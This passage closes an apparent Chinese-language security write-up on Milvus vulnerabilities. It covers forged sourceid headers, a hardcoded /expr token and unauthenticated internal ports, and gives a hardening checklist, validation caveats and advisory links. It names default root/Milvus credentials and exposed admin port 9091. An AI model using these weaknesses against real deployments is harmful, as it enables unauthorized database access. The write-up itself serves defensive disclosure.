- 升级到 2.6.10+。两个 CVE 都在 2.6.10 修了,内部端口也不监听了
- 开启认证。authorizationEnabled=true,默认关闭等于裸奔
- 改掉 root 默认密码。root/Milvus 是默认的,不换等于没开认证
- 9091 管理端口不要暴露公网。就算升到 2.6.10,管理端口也不该对外
- 内部端口网络隔离。容器网络里不要放不可信的服务,53100 这类端口只能让可信组件访问
- 如果暂时不能升级,参考官方缓解:在网关层删掉所有请求里的 sourceid header(挡住第一个 CVE)
最小动作清单
总结成三句话:先升级(2.6.10+),再开认证(authorizationEnabled=true + 改 root 密码),最后把 9091 藏好(别暴露公网 + expr 默认禁用)。三个动作都做了,这篇里说的洞基本就和你无关了。
如果你暂时升不了级,至少把 root 密码改了、把 sourceid 请求在网关层过滤掉——这两个动作成本最低,能挡住第一个 CVE 的常见利用。
写在最后
回头看这三个洞,本质是同一个问题的三种形态:Milvus 信任了一些不该被外部伪造的东西。sourceid 信任内部组件标识,却没校验来源;/expr 信任一个写死在默认值里的 token;内部端口信任网络边界,却没接认证。
最后说下这篇文章验证的边界,避免误导:所有动态验证都在 standalone 模式(单机 Docker)下完成,distributed 集群模式的 /api/v1 攻击面只做了源码分析,没有实际环境验证;/expr 的表达式引擎我没挖出逃逸,所以按"任意表达式求值"的官方定性来写,如果后续有人挖出逃逸,这个洞会直接升级成 RCE,值得持续关注。
参考
- CVE-2025-64513 / GHSA-mhjq-8c7m-3f7p:https://github.com/milvus-io/milvus/security/advisories/GHSA-mhjq-8c7m-3f7p
- CVE-2026-26190(NVD):https://nvd.nist.gov/vuln/detail/CVE-2026-26190
- 官方修复 PR:45379(2.6 分支)/ 45383(2.5 分支)/ 45391(2.4 分支)
- 检测脚本 milvus-auth-audit:https://github.com/qianlijaingshan/milvus-auth-audit